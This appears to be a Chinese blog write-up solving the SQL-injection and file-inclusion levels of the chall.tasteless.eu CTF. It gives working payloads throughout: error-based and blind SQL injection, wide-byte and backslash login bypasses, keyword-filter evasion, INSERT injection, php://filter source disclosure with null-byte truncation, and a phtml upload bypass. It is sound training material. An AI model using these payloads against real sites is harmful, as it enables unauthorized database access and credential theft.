chall.tasteless.eu 中的注入题

第一题好像就很难，看了payload，算是涨见识了，感觉有点为了猜而猜。

题目给我们的时候是这样的:http://chall.tasteless.eu/level1/index.php?dir=ASC

asc,desc  一对好基友，所以猜测是order by 后的注入。然后有个提示：Capture the flag! hint: table level1_flag column flag  No Bsqli!!

不用布尔型注入。想法就是报错注入，

然后把语句丢上去。

http://chall.tasteless.eu/level1/index.php?dir=and (updatexml(1,concat(1,(select flag from level1_flag limit 0,1),1),1))--+     直接返回错误，应该是关闭错误回显吧，也可能是括号构造的不够多，没有闭合更前面的括号。

后来看了答案在知道整个语句下的测试：

http://chall.tasteless.eu/level1/index.php?dir=and (updatexml(1,concat(1,(select flag from level1_flag limit 0,1),1),1)))--+

比上面多了个括号，还是报错，把limit 增加上去。

http://chall.tasteless.eu/level1/index.php?dir=and (updatexml(1,concat(1,(select flag from level1_flag limit 1,1),1),1)))--+

这时返回正确，说明语句对了，更前面需要一个括号，然后他关闭了报错语句。

判断如下。当limit小于表中的列数，报错并返回数据，如果limit大于等于表中的列数，返回全部结果。也就是页面返回正常，所以判断为关闭了报错语句。

写不出来就去找答案了。http://qkqhxla1.tistory.com/m/191

他猜的过程都在链接里，(select * from table order by 1 $_GET['dir']);

语句是这样的,括号在最前面，还是第一次看到这么写，闭合括号然后就能union了，

一开始判断为order by注入，然后按着order by 注入一路走，因为order by 后面不能跟union，所以正常的出数据只能靠布尔型或者报错来判断。下次遇到这样的就能想到这题了。

mysql> (select 1) union (select 2);
+---+
| 1 |
+---+
| 1 |
| 2 |
+---+
2 rows in set (0.00 sec)

　　

第二题就比较友好了，一分钟就出来了。

http://chall.tasteless.eu/level2/index.php?req=f' union (select 1,2,flag from level2_flag)--+

第四题：

不懂flag的格式：

用guest guest 登录以后，id存在注入

http://chall.tasteless.eu/level4/index.php?action=pm&id=1 and 'b'=substr((select pass from level4 where username='admin'),1,1)--+

正则匹配出现union字符串就报错，用盲注的形式。

注入出来admin的密码是98aa0ec014a46e34571affaf88999ebb

登录不了，不知道属不属于flag。

-----------

http://chall.tasteless.eu/level5/index.php5

是个登录题，登录题一般来说比较恶心，没回显，全靠经验加猜思路。得猜测注入点是在账号上还是密码上，然后是要闭合呢还是要用判断的方式绕过，或者去注释username的单引号，使之闭合后面的单引号然后用or 1=1 去绕。

这次是个宽字节的注入。

账号admin  密码：a%df%27!=2%23

后台注入的时候可以用如下的语句来想想他考的点能出现在哪里，

select * from user where username='admin' and password='a';

------------

第六题：

一开始用,(exists((select flag from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)))%23

发现可以爆出数据库的版本，但是想(exists((select flag from (select NAME_CONST((select flag from level6_flag),1),NAME_CONST((1),1)) as x)))%23

发现不行了，没法爆出来。name_const()提示错误。好像是只能爆常量，

http://chall.tasteless.eu/level6/index.php?in=,(select 1 from (select count(1),concat((select flag from level6_flag),floo*r(ra*nd(0)^2))x from (select 1 union select 2 union select 3)a group by x)b)%23

第一个语句中规中矩的group by报错注入，但是要注意的点就是过滤了or and * ,但是过滤的方式是替换成空，所以在某些关键字上要加一次,比如floor rand  都有出现or和and。

一开始不是用这个的，是用updatexml  extractvalue 这两个函数，但是无论怎么加，最后还是过滤了，直接被die()掉.

http://chall.tasteless.eu/level6/index.php?in=,(coalesce((select flag from level6_flag where hex(substr(flag,1,1))=hex(98) oorr null limit 1),(select 1 union select 2)))%23

第二个就比较有意思了，第一次见这个函数，如果要复制的时候注意oorr，只有一个or。是为了绕过滤才写oorr。

Sql代码  
select coalesce(a,b,c);

如果a==null,则选择b；如果b==null,则选择c；如果a!=null,则选择a；如果a b c 都为null ，则返回为null（没意义）。

http://chall.tasteless.eu/level8/index.php

注册，然后空格多点在加个1让他判断不是注册admin ，然后到空格后面就截断了，1就没算进来，所以注册admin 成功

看到后台注入就先怂了50分。

http://chall.tasteless.eu/level10/index.php

账号：admin\   密码or 1=1

注释admin后面的单引号，然后就能or 1=1绕过了。

---------------

http://level11.tasteless.eu/index.php?file=php://filter/convert.base64-encode/resource=config.easy.inc.php

第二个过滤了php data 等关键字，应该不是替空操作，想到用%00看能不能截断，应该是没开gpc吧,读取php.ini，发现magic_quotes_gpc = Off

http://level11.tasteless.eu/index.php?hard=1&file=%00php://filter/read=convert.base64-encode/resource=config.hard.inc.php

-------------

http://chall.tasteless.eu/level15/index.php

应该是个insert注入

本地先构造一下，让思路清晰起来。

mysql> insert user(id,username,password) values('1','aaa','bbb');

然后我们能搞的应该就这样的。

mysql> insert user(id,username,password) values('3','aaa\',',(select user()));#');

------------------

http://level18.tasteless.eu/index.php~

过滤了php后缀，phtml直接秒掉